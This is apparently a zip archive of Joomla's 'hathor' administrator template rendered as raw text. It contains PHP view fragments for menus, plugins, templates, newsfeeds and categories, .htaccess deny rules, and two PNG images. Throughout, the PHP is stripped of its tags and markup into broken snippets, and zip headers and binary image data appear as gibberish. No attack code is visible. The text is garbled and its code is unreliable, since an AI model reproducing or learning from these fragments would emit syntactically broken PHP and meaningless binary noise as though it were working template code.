              published, $i, $canChange, 'cb'); ?> pagination->orderUpIcon($i, isset($this->ordering[$item->parent_id][$orderkey - 1]), 'items.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, isset($this->ordering[$item->parent_id][$orderkey + 1]), 'items.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" title="title; ?> order" /> escape($item->access_level); ?> escape($item->item_type); ?> type == 'component') : ?> language=='*' || $item->home=='0'):?> home, $i, 'items.', ($item->language != '*' || !$item->home) && $canChange);?> image.'.gif', $item->language_title, array('title'=>JText::sprintf('COM_MENUS_GRID_UNSET_LANGUAGE', $item->language_title)), true);?> image.'.gif', $item->language_title, array('title'=>$item->language_title), true);?> association):?> id);?> language==''):?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
              pagination->getListFooter(); ?>
              authorize('core.create', 'com_menus') || $user->authorize('core.edit', 'com_menus')) : ?> loadTemplate('batch'); ?>
              PK@y>\V*templates/hathor/html/com_menus/index.htmlnuW+A PK@y>\u#5templates/hathor/html/com_plugins/plugins/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_plugins'); $saveOrder = $listOrder == 'ordering'; ?>
              items as $i => $item) : $ordering = ($listOrder == 'ordering'); $canEdit = $user->authorise('core.edit', 'com_plugins'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id') || $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_plugins') && $canCheckin; ?>
              items, 'filesave.png', 'plugins.saveorder'); ?>
              extension_id); ?> checked_out) : ?> editor, $item->checked_out_time, 'plugins.', $canCheckin); ?> name; ?> name; ?> enabled, $i, 'plugins.', $canChange); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->folder == $item->folder), 'plugins.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->folder == $item->folder), 'plugins.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->folder == $item->folder), 'plugins.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->folder == $item->folder), 'plugins.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" title="name; ?> order" /> ordering; ?> escape($item->folder);?> escape($item->element);?> escape($item->access_level); ?> extension_id;?>
              pagination->getListFooter(); ?>
              PK@y>\)3templates/hathor/html/com_plugins/plugins/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V4templates/hathor/html/com_plugins/plugins/index.htmlnuW+A PK@y>\)+templates/hathor/html/com_plugins/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V,templates/hathor/html/com_plugins/index.htmlnuW+A PK@y>\MU' 1templates/hathor/html/com_plugins/plugin/edit.phpnuW+A
              • form->getLabel('name'); ?> form->getInput('name'); ?> item->name);?>
              • form->getLabel('enabled'); ?> form->getInput('enabled'); ?>
              • form->getLabel('access'); ?> form->getInput('access'); ?>
              • form->getLabel('ordering'); ?> form->getInput('ordering'); ?>
              • form->getLabel('folder'); ?> form->getInput('folder'); ?>
              • form->getLabel('element'); ?> form->getInput('element'); ?>
              • item->extension_id) : ?>
              • form->getLabel('extension_id'); ?> form->getInput('extension_id'); ?>
              item->xml) : ?> item->xml->description)) : ?>
              item->extension_id); ?> loadTemplate('options'); ?>
              PK@y>\)2templates/hathor/html/com_plugins/plugin/.htaccessnuW+A Order allow,deny Deny from all PK@y>\VS9templates/hathor/html/com_plugins/plugin/edit_options.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_PLUGINS_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

              '.$this->escape(JText::_($fieldSet->description)).'

              '; endif; ?>
                form->getFieldset($name) as $field) : ?> hidden) : ?>
              • label; ?> input; ?>
              • input; ?>
              PK@y>\V3templates/hathor/html/com_plugins/plugin/index.htmlnuW+A PK@y>\cX6!templates/hathor/html/modules.phpnuW+A * * This gives template designers ultimate control over how modules are rendered. * * NOTICE: All chrome wrapping methods should be named: modChrome_{STYLE} and take the same * two arguments. */ /* * Module chrome for rendering the module in a submenu */ function modChrome_xhtmlid($module, &$params, &$attribs) { if ($module->content) { ?>
              content; ?>
              PK@y>\V8templates/hathor/html/com_templates/templates/index.htmlnuW+A PK@y>\5W!  9templates/hathor/html/com_templates/templates/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              items as $i => $item) : ?>
               
              element, $item->client_id); ?> name) ;?>

              preview && $item->client_id == '0'): ?> client_id == '1'): ?>

              client_id == 0 ? JText::_('JSITE') : JText::_('JADMINISTRATOR'); ?> escape($item->xmldata->get('version')); ?> escape($item->xmldata->get('creationDate')); ?> xmldata->get('author')) : ?>

              escape($author); ?>

              xmldata->get('authorEmail')) : ?>

              escape($email); ?>

              xmldata->get('authorUrl')) : ?>

              escape($url); ?>

              pagination->getListFooter(); ?>
              PK@y>\)7templates/hathor/html/com_templates/templates/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)-templates/hathor/html/com_templates/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)4templates/hathor/html/com_templates/styles/.htaccessnuW+A Order allow,deny Deny from all PK@y>\o$|6templates/hathor/html/com_templates/styles/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              items as $i => $item) : $canCreate = $user->authorise('core.create', 'com_templates'); $canEdit = $user->authorise('core.edit', 'com_templates'); $canChange = $user->authorise('core.edit.state', 'com_templates'); ?>
               
              id); ?> preview && $item->client_id == '0'): ?> client_id == '1'): ?> escape($item->title);?> escape($item->title);?> client_id == 0 ? JText::_('JSITE') : JText::_('JADMINISTRATOR'); ?> home=='0' || $item->home=='1'):?> home!='0', $i, 'styles.', $canChange && $item->home!='1');?> image.'.gif', $item->language_title, array('title'=>JText::sprintf('COM_TEMPLATES_GRID_UNSET_LANGUAGE', $item->language_title)), true);?> image.'.gif', $item->language_title, array('title'=>$item->language_title), true);?> assigned > 0) : ?> assigned), array('title'=>JText::plural('COM_TEMPLATES_ASSIGNED', $item->assigned)), true); ?>   id; ?>
              pagination->getListFooter(); ?>
              PK@y>\V5templates/hathor/html/com_templates/styles/index.htmlnuW+A PK@y>\V.templates/hathor/html/com_templates/index.htmlnuW+A PK@y>\V.templates/hathor/html/com_newsfeeds/index.htmlnuW+A PK@y>\V8templates/hathor/html/com_newsfeeds/newsfeeds/index.htmlnuW+A PK@y>\)7templates/hathor/html/com_newsfeeds/newsfeeds/.htaccessnuW+A Order allow,deny Deny from all PK@y>\77templates/hathor/html/com_newsfeeds/newsfeeds/modal.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              items as $i => $item) : ?> pagination->getListFooter(); ?>
              PK@y>\/G^/##9templates/hathor/html/com_newsfeeds/newsfeeds/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_newsfeeds.category'); $saveOrder = $listOrder == 'a.ordering'; ?>
              items as $i => $item) : $ordering = ($listOrder == 'a.ordering'); $canCreate = $user->authorise('core.create', 'com_newsfeeds.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_newsfeeds.category.'.$item->catid); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id') || $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_newsfeeds.category.'.$item->catid) && $canCheckin; ?>
              items, 'filesave.png', 'newsfeeds.saveorder'); ?>
              id); ?> checked_out) : ?> editor, $item->checked_out_time, 'newsfeeds.', $canCheckin); ?> escape($item->name); ?> escape($item->name); ?>

              escape($item->alias));?>

              published, $i, 'newsfeeds.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> escape($item->category_title); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'newsfeeds.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'newsfeeds.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'newsfeeds.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'newsfeeds.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" title="name; ?> order" /> ordering; ?> escape($item->access_level); ?> numarticles; ?> cache_time; ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
              loadTemplate('batch'); ?> pagination->getListFooter(); ?>
              PK@y>\X>templates/hathor/html/com_newsfeeds/newsfeed/edit_metadata.phpnuW+Aform->getFieldsets('metadata'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

              '.$this->escape(JText::_($fieldSet->description)).'

              '; endif; ?>
              label); ?>
              • form->getLabel('metadesc'); ?> form->getInput('metadesc'); ?>
              • form->getLabel('metakey'); ?> form->getInput('metakey'); ?>
              • form->getLabel('xreference'); ?> form->getInput('xreference'); ?>
              • form->getFieldset($name) as $field) : ?>
              • label; ?> input; ?>
              PK@y>\V7templates/hathor/html/com_newsfeeds/newsfeed/index.htmlnuW+A PK@y>\@@5templates/hathor/html/com_newsfeeds/newsfeed/edit.phpnuW+A
              item->id) ? JText::_('COM_NEWSFEEDS_NEW_NEWSFEED') : JText::sprintf('COM_NEWSFEEDS_EDIT_NEWSFEED', $this->item->id); ?>
              • form->getLabel('name'); ?> form->getInput('name'); ?>
              • form->getLabel('alias'); ?> form->getInput('alias'); ?>
              • form->getLabel('link'); ?> form->getInput('link'); ?>
              • form->getLabel('catid'); ?> form->getInput('catid'); ?>
              • form->getLabel('published'); ?> form->getInput('published'); ?>
              • form->getLabel('access'); ?> form->getInput('access'); ?>
              • form->getLabel('ordering'); ?> form->getInput('ordering'); ?>
              • form->getLabel('language'); ?> form->getInput('language'); ?>
              • form->getLabel('id'); ?> form->getInput('id'); ?>
              item->id, array('useCookie'=>1)); ?>
              • form->getLabel('created_by'); ?> form->getInput('created_by'); ?>
              • form->getLabel('created_by_alias'); ?> form->getInput('created_by_alias'); ?>
              • form->getLabel('created'); ?> form->getInput('created'); ?>
              • form->getLabel('publish_up'); ?> form->getInput('publish_up'); ?>
              • form->getLabel('publish_down'); ?> form->getInput('publish_down'); ?>
              • item->modified_by) : ?>
              • form->getLabel('modified_by'); ?> form->getInput('modified_by'); ?>
              • form->getLabel('modified'); ?> form->getInput('modified'); ?>
              • form->getLabel('numarticles'); ?> form->getInput('numarticles'); ?>
              • form->getLabel('cache_time'); ?> form->getInput('cache_time'); ?>
              • form->getLabel('rtl'); ?> form->getInput('rtl'); ?>
              • form->getLabel('xreference'); // Missing from schema! ?> form->getInput('xreference'); ?>
              loadTemplate('params'); ?> loadTemplate('metadata'); ?>
              PK@y>\B^<templates/hathor/html/com_newsfeeds/newsfeed/edit_params.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-params'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

              '.$this->escape(JText::_($fieldSet->description)).'

              '; endif; ?>
              label); ?>
                form->getFieldset($name) as $field) : ?>
              • label; ?> input; ?>
              PK@y>\)6templates/hathor/html/com_newsfeeds/newsfeed/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)-templates/hathor/html/com_newsfeeds/.htaccessnuW+A Order allow,deny Deny from all PK@y>\c}$templates/hathor/html/pagination.phpnuW+Abase : integer * $item->prefix : string * $item->link : string * $item->text : string * * pagination_item_inactive * Input variable $item is an object with fields: * $item->base : integer * $item->prefix : string * $item->link : string * $item->text : string * * This gives template designers ultimate control over how pagination is rendered. * * NOTE: If you override pagination_item_active OR pagination_item_inactive you MUST override them both */ function pagination_list_footer($list) { // Initialize variables $lang = JFactory::getLanguage(); /** * Fix javascript jump menu * * Remove the onchange=Joomla.submitform from the select tag * Add in a button with onclick instead */ $fixlimit = $list['limitfield']; $fixlimit = preg_replace('/onchange="Joomla.submitform\(\);"/', '', $fixlimit); $html = "
              \n"; $html .= "\n
              "; $html .= "\n".$fixlimit; $html .= "\n
              "; $html .= "\n" . $list['pageslinks']; $html .= "\n
              ".$list['pagescounter']."
              "; $html .= "\n"; $html .= "\n
              "; return $html; } function pagination_list_render($list) { // Initialize variables $lang = JFactory::getLanguage(); $html = null; if ($list['start']['active']) { $html .= "
              ".$list['start']['data']."
              "; } else { $html .= "
              ".$list['start']['data']."
              "; } if ($list['previous']['active']) { $html .= "
              ".$list['previous']['data']."
              "; } else { $html .= "
              ".$list['previous']['data']."
              "; } $html .= "\n
              "; foreach($list['pages'] as $page) { $html .= $page['data']; } $html .= "\n
              "; if ($list['next']['active']) { $html .= "
              ".$list['next']['data']."
              "; } else { $html .= "
              ".$list['next']['data']."
              "; } if ($list['end']['active']) { $html .= "
              ".$list['end']['data']."
              "; } else { $html .= "
              ".$list['end']['data']."
              "; } return $html; } function pagination_item_active(&$item) { if ($item->base>0) return "text."\" onclick=\"document.adminForm." . $item->prefix . "limitstart.value=".$item->base."; Joomla.submitform();return false;\">".$item->text.""; else return "text."\" onclick=\"document.adminForm." . $item->prefix . "limitstart.value=0; Joomla.submitform();return false;\">".$item->text.""; } function pagination_item_inactive(&$item) { return "".$item->text.""; } ?> PK@y>\EX"";templates/hathor/html/com_categories/categories/default.phpnuW+Aget('id'); $extension = $this->escape($this->state->get('filter.extension')); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $ordering = ($listOrder == 'a.lft'); $saveOrder = ($listOrder == 'a.lft' && $listDirn == 'asc'); ?>
              items as $i => $item) : $orderkey = array_search($item->id, $this->ordering[$item->parent_id]); $canEdit = $user->authorise('core.edit', $extension.'.category.'.$item->id); $canCheckin = $user->authorise('core.admin', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; $canEditOwn = $user->authorise('core.edit.own', $extension.'.category.'.$item->id) && $item->created_user_id == $userId; $canChange = $user->authorise('core.edit.state', $extension.'.category.'.$item->id) && $canCheckin; ?>
              items, 'filesave.png', 'categories.saveorder'); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?>
              id); ?> |—', $item->level-1) ?> checked_out) : ?> editor, $item->checked_out_time, 'categories.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?>

              |—', $item->level-1) ?> note)) : ?> escape($item->alias));?> escape($item->alias), $this->escape($item->note));?>

              published, $i, 'categories.', $canChange);?> pagination->orderUpIcon($i, isset($this->ordering[$item->parent_id][$orderkey - 1]), 'categories.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, isset($this->ordering[$item->parent_id][$orderkey + 1]), 'categories.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" title="title; ?> order" /> escape($item->access_level); ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
              pagination->getListFooter(); ?>
              loadTemplate('batch'); ?>
              PK@y>\)9templates/hathor/html/com_categories/categories/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V:templates/hathor/html/com_categories/categories/index.htmlnuW+A PK@y>\V/templates/hathor/html/com_categories/index.htmlnuW+A PK@y>\V8templates/hathor/html/com_categories/category/index.htmlnuW+A PK@y>\~~>templates/hathor/html/com_categories/category/edit_options.phpnuW+A
              • form->getLabel('created_user_id'); ?> form->getInput('created_user_id'); ?>
              • item->created_time)) : ?>
              • form->getLabel('created_time'); ?> form->getInput('created_time'); ?>
              • item->modified_user_id) : ?>
              • form->getLabel('modified_user_id'); ?> form->getInput('modified_user_id'); ?>
              • form->getLabel('modified_time'); ?> form->getInput('modified_time'); ?>
              form->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_CATEGORIES_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

              '.$this->escape(JText::_($fieldSet->description)).'

              '; endif; ?>
                form->getFieldset($name) as $field) : ?>
              • label; ?> input; ?>
              • form->getLabel('note'); ?> form->getInput('note'); ?>
              PK@y>\!;q6templates/hathor/html/com_categories/category/edit.phpnuW+A
              • form->getLabel('title'); ?> form->getInput('title'); ?>
              • form->getLabel('alias'); ?> form->getInput('alias'); ?>
              • form->getLabel('extension'); ?> form->getInput('extension'); ?>
              • form->getLabel('parent_id'); ?> form->getInput('parent_id'); ?>
              • form->getLabel('published'); ?> form->getInput('published'); ?>
              • form->getLabel('access'); ?> form->getInput('access'); ?>
              • canDo->get('core.admin')): ?>
              • form->getLabel('language'); ?> form->getInput('language'); ?>
              • form->getLabel('id'); ?> form->getInput('id'); ?>
              form->getLabel('description'); ?>
              form->getInput('description'); ?>
              item->id, array('useCookie'=>1)); ?> loadTemplate('options'); ?>
              loadTemplate('metadata'); ?>
              form->getFieldsets('attribs'); ?> $fieldSet) : ?> label) ? $fieldSet->label : 'COM_CATEGORIES_'.$name.'_FIELDSET_LABEL'; ?> description) && trim($fieldSet->description)) : ?>

              escape(JText::_($fieldSet->description));?>

                form->getFieldset($name) as $field) : ?>
              • label; ?> input; ?>
              canDo->get('core.admin')): ?>
              item->id, array('useCookie'=>1)); ?>
              form->getLabel('rules'); ?> form->getInput('rules'); ?>
              PK@y>\)7templates/hathor/html/com_categories/category/.htaccessnuW+A Order allow,deny Deny from all PK@y>\).templates/hathor/html/com_categories/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V*templates/hathor/html/com_admin/index.htmlnuW+A PK@y>\))templates/hathor/html/com_admin/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)1templates/hathor/html/com_admin/profile/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#=0templates/hathor/html/com_admin/profile/edit.phpnuW+Aform->getFieldsets(); ?>
                form->getFieldset('user_details') as $field) :?>
              • label; ?> input; ?>
              name == 'user_details') : continue; endif; echo JHtml::_('sliders.panel', JText::_($fieldset->label), $fieldset->name); ?>
              label); ?>
                form->getFieldset($fieldset->name) as $field): ?> hidden): ?> input; ?>
              • label; ?> input; ?>
              PK@y>\V2templates/hathor/html/com_admin/profile/index.htmlnuW+A PK@y>\ & 'templates/hathor/template_thumbnail.pngnuW+APNG  IHDRwPLTE|2dDdh;t͘drOBBBgwTAżgpp;Ճߪ6R@]nt(Da9|sNI{觧6j-tⶾ]udTi8M`>|888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~u.tRNSS% pHYs  bIDATx\b:d]`z1-"d ?Zsc'L$e|;BK<8jdYƟ&ad+EIDiݔZ0(I0!i}1Ҍ\4J:gf#TKA)(8#G])MM)utթtGu*eB W;}S,p:oS)e$/8~ t8`GّާLo^VK[Vx?|4acLaf7F-NƨgSͭT@A:8;/w>G JrsipE Ðdd+/:HMYA FbcWWpipeBP nrf8j*?Շ$>/tB3=.,,mGCf@!XBڽ 5háU+ima MsDz@Tm؃޽::-LԮjpYKΎZVuV\|AxCd"9$kl=0C!# p4t|u 0]C9{ٰ-_ZJԂlVF1!_e49z&9, `dܨ.ep$UMvú CR8QJ,U%fPq0ˇkW@vX]rp<7g xHNrp[pb$nVփG&*pWᷗ $WSɀbX sk:b"X,w@ Fjg'|},Z`M8ˁ{5XQx87B>XxkYe^, f4QsGp=*r #x^#&ؓ>JU#/aN|Q΍23M5ͯe@E} ~̾Py6/k~Z=rZ})-8fC|xVǦpFEeCR ,e^ N>JCըEO'5u)JQf݀cpGQ*mNnb&EMa<.4 <2LoJ'pJvVh(,qjcYh+#'7,̋vcp`Tȋ&  gض(b.Pn6Cx*fYm Ȇ;~grºr|qRXùPnl#Nkve,21BK}u!ӼrQpL~h;̹=Z ֹd>٦&%7pL{\1|LcX Νk)E 8Ϣu4- D8\:#9[H.~~e 3|Rf 9 wZoYqi1\LyWƣ=*eA" t>J>v!v4vvoջs (e3>;̬fߞhόx߁g~pLn6EQ֗p̒iv68&'0aY!Su]O5T"g5gKP0U) |TS 35V~%DP3,>~rcsVH𖅍hUa^}P:A8=}rnfx' ko5`Lτ7}0c3KMdIG92Mw:Dx7JP-ͅlԡ1[6|RhY8f0ɤr 2(l7]:հ9 &<]A$drp W~g+f0.<_.ToN 7J"q`.lVi@ bマ38;lm8:<{ yc+ 9&oq-66+2LvYM8£uzFާF7Gy깸6KcB`i^8]:L1ǤgWw $w+8 weczwwf:A{d˹6)6E[MQQc!nہ;F.é N##jA]lzD:+ ɰ̈)g&{}1VX;n 1prQS釅,Iaq3?u`&,6ZWK2k8}JNŬr=־¯W4J~qlhM4[ޤIH<};j'o/YtO`koRŮ¹9'BE6¹¹¹19 JIENDB`PK@y>\5L ff%templates/hathor/template_preview.pngnuW+APNG  IHDR 3ϛPLTE}K4kU*Z~;ssI76t~dmiզ>?Zk>ת;DJv$lo@3eADc˸y:L}R|m6k1?|僞;K\dHR9?ɖ888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~etRNSS% pHYs  b|IDATx cJr(@@IP"{jh3Y&#POWU r3YX~,,?]|a9(rUftv[~O}&0EzrDcB]rs~ I6 ~Xkڢ\:R$SxϓUC.{m= XY+ t|Z;4Gk*W"tdqeJfI6H<ĥΔFhN˕H+1;Pӧ߯aRfZ_!ZQsnH: ?ϫRiRw3Pʷ*t7ҽw[;xrkM+G|?=?s;jI|\roZ8rJR(W$h 0 a Yqܲ2_Rlw$uJE>ƚJMlB=Xt+LH˅TcT#,)Nbvӥ gҢ3+Y?HEZ9w8KRK3ҵoW}DB9.HiCkPI |vlІUMSZ&&)M/iQ}[*qF 7kf6i?}]bݻ%0Hw_*| {\.mc`]\p}ͨcO]Rmڊ @h쥞Vl1m5T";%;ZM+syh/yA'Xk\#'Ԇ;-H֋ҶСZ?#A]yGUp8B)oiK%[_t{=7]%af<:B6_ƴYbZ6$N(U au{N|toek k @iFRKC4b E"ҨDuoSq?; .?5#J f 䛀姱B OTveNVwYsBpIܴ q,FӪS݀t>V,3hu:@6R}7ŲC)t׀SC|mpDSqjn@;4WjȕGke $Fh6[h-jcR@ܜ!k%AR ^+%}0=݆ -;rdT2\4l@@"qBrUZ`:AHp(V`Qb[ sreE"m,J@]!|2:mQ D= ~c>wMրvεb-`=-vH\S7T8kOZ]B}*-^b{w7 @  'R#@ZB ^HZk@`\\oP[?vqy*񫴭|͌/v⣫_t&ytsTl{A0lrZ2Xሉ>]AD}2D LBjS2FeϤ8vAG(\,w.[5Zrv.h4PSړztswJ"mu'A5uMl!W`/ yT}-E__JEL(QGO XvCk9^ ;tғ%?)yECY&_BbDNؠ=H9,lG5T&EOt;'xtReHe k+@9Dgk^o7%@DvOR~jl ބ!,"F畝*b>oq/ K(O!t{%"p _ր,EW&`J,hQGlrA)?n2:Wm.d>ZDd k4b!yǂ؀$'܌37\7lzRFa^7-zFn bAy[7A+Aj4MkfjaxQ/J̘V5ϰG#O۰]VhIX#=qS:\> fb]{e׿Z1~B9l InW|@T%O۳{8_ǏQ}^,"`I£yYX_J5_].ܚɹiB]ɗQsu]7j˭] EoXzK+e\}~Vݼ_t~ + €0 €0 €ǀ bODґΦE HǔƟ[Ӕ3?$^g@k(H Nfq=E|.Ds0tژ_ QlƠ_m' IZ2?HSV`u6 Brkvd@hn4Nf rsg@#(_쏑ztUk7 <,c:.C#Bb^5?-A=wE[ {uDsqIb|3bz7SV6^݀9ucm9 %V"ictRy9)PRq54켊(7k$ȱt@^RF,f2=d(cr}Yh4KVOĊqM4&d<+I (ȢU[9}d@>J*86yX % -Se_:@$J(-?ÀH:A (uJTN*J"x *HSP1i:0}YEbd*fJD3%B8\)?O%4D9թt_pEMy'"QZXT$ x%R/e7 moIգMbAVuxK kb7@eK@^płIe$E ڕ@.o^\8\GD/KVb).MjG^Gf5ǴGZ4@/cŒ1@Ypa@)" YrES:nx4My!5/]ITX&iRkbW \,| ?AzSa.( wA,ا"HhzĪ#<~B{hS|wwf1("HSK4L9 B ?9Pԝ*c b5 &W VfA:6Ab'Ҹpu% ovy?wQXWZˀ|~ C?5a@a@\$[ZU.b WaNus x< sXXa@Xaaa@XXaaa@XXaa@aaa@XX8 YLL͚ɺK?]N[cd@/ۓv7fzwg@U G2z,hhYh+ynj8 X]%R^("߂'ҩ,v;}?޽Rqx$%EЩԦ \L{l߂'-b^ozoeFR&Tʣ3LKs-X~ ^ς3/Z}_.==o W: 2&=] XNK]R+Ȁ4ZE]ȧFk< "OyF ]kpXywfv{$W`7S^`]磧5Ep@O<4KmNjj)bڎ_l qimYX> ,, €0 ,,  €0 ,,  €0 oYX~3KoH Y~maa@aaa@XXaaa@XX~9 7#s7|M4%JoU;Vg9U4oH,u5Թ3 ȭ0 :{yΚaa!1 Od}{D$ZjR}$S|$;b&aV4@d2)vhsx?-lqNhmlHzWNH~E@6'g%m>S%E\xNl RVvS ̀F`C;À|$!䓀$'ӻy;9Kw*G >TC)wR)"Xy;b`:* 4O%w(D-p(| @|3Q6 +˱dKɊ15}@e+,_dh:Na@r ~&8 C)M8 Gv{!d`)ه%9N)li}:Hz=<]USQ+ A1I B G@@D4|^rK .8!"Q:~U3~/Ȼ ӢV!H Rr !^|:Xyp] !q & n[ ke4l / $_b\u=]ǂsm.‚ċ#E0 Ү_7]*ino$|m Q$gu ^)N{vLNŎz7΂ڛŐ¤UT6[0OX}t@D4^0fu ٟp4t 4 Xde=.ZKyoAFĿCUe }a݋5[g 1*ZdﯷכT{-iI H3v |$T_j#HіN Zqe TqH;PklzpˣT@$$)fNEv]n$r FLjd:vd*Lta]XqxLeɣ\Mh$5CBVK6x/PG1z=%ՎePki[pKkPSD$G)d}{B!~_pl@c,D;" QVfK %)$U< xC)ck'IT-<~գ{ kR: 尅qǓ%z:*'PkBq"8O [ޑ޲ct2}O*::ZP%Zuq!\1@Kr ё?Qxf $CEb|1Ⱥyߨɗk T,vG@3ojAm{r9 0: Эm@5 <bboA_ =!9bRo"^ &dSDZEn,TUR;D;Yk@n- A:q"<#2@M aF.$;r+$ü i!\Ef@~3 VˮS_ +a6oKa@|s.hz^z4lۏrvRL|v3??-j!jiNfAn~Vv  K̓ ;or{0tLw"nsͥnIkśEj2șdI9B@½Y&)K["ֶG/G>wY#ҋ$H)>YT]%/w>pnNi@ai]%XCyn). x#\?Y䍼r0 y F\cڟno(A00㴥 +mX< d=0C+ȧR)ui@.qPZĂB_@:[]\"hJ_ߥ!#>H!1%dLs+5zZIV:K']I--hh!g(H"g 33;T8J-Zܢ--ώU&@Y"SJyJ+f4Bז vT @Om N'>ÊCas(|7)%qމ[sy6>wkyͼc2OGKT;!^)49͵C!uԷ"Ct]8Y 8;d]ZpNId@тIu€$;d@a@a@a@a@a@a@[01̓ ,İ|e1 73Š7d.0=c]%1sT*uY;#U1+T0B9[rܕQf(yeL-$K]Jhm ~?n@HsǓ1{w7w#}ilzc}p7>T^)FQwh?Ɍb\añcy5c bvs].r["@Qԥ$K>vcAyw)5әI3 ? G3SP*S9ƣKђ&F.4{ |:R) =u85B;dBZ`ÌP{HAf>IMcJ.Z.jj-AX'*i "VNg LZˋOkDH9BTXŒ3=-rE~}7/}}DGvjĽh~3MR 8m܎%N7 O{I>' oDc9GH=c9YlA~ńVeol7sO  K/;€F@kBd0uY6u~ӎN %gv?u3pa@~ kBd'@vNCq0; 1 rI#6}s5D04uȜ],ҿ !f=`="$ ťs$-hJ.p!ye\& -Ok?UYZ_Wv @<Rf߹@h~@8  _k+_K&Qf [9 6`@ _ua(h^泜*ڏ{+7+ދr}}a@X, I=YN7R<a@|@'{w}ͳps]yE+ö^ZVP*€|m@ۆȔfbC`ljVMIa\/S2^% I>Qe)}g@/ HosO$NѫUla ̟Z/R \ennሤw0](1u 0-ffH : Z" )"ѯ 0Pi;zѧÍ;7]>+RqM$1 _ de_'7] ,>V?.h5Bc^ 1@ q8j( Iwby0 L:bn Tm@Ȑ#X{.IJ^8}$@0({~|y@F4KҰQHf&H Ruu1(NXaJHŮsZ^dApdd)d΀Hg  <<="e,7Ѯ/S K>d$I.:_ -9.Ksſw@`(7"I=_kmB?0GC b>?"@rR ⛟.S Z_;<@UJ[r,d*KǺ_9"m\ÂpN(83 nEQBN$ UaPv t@6?0H ^ \ 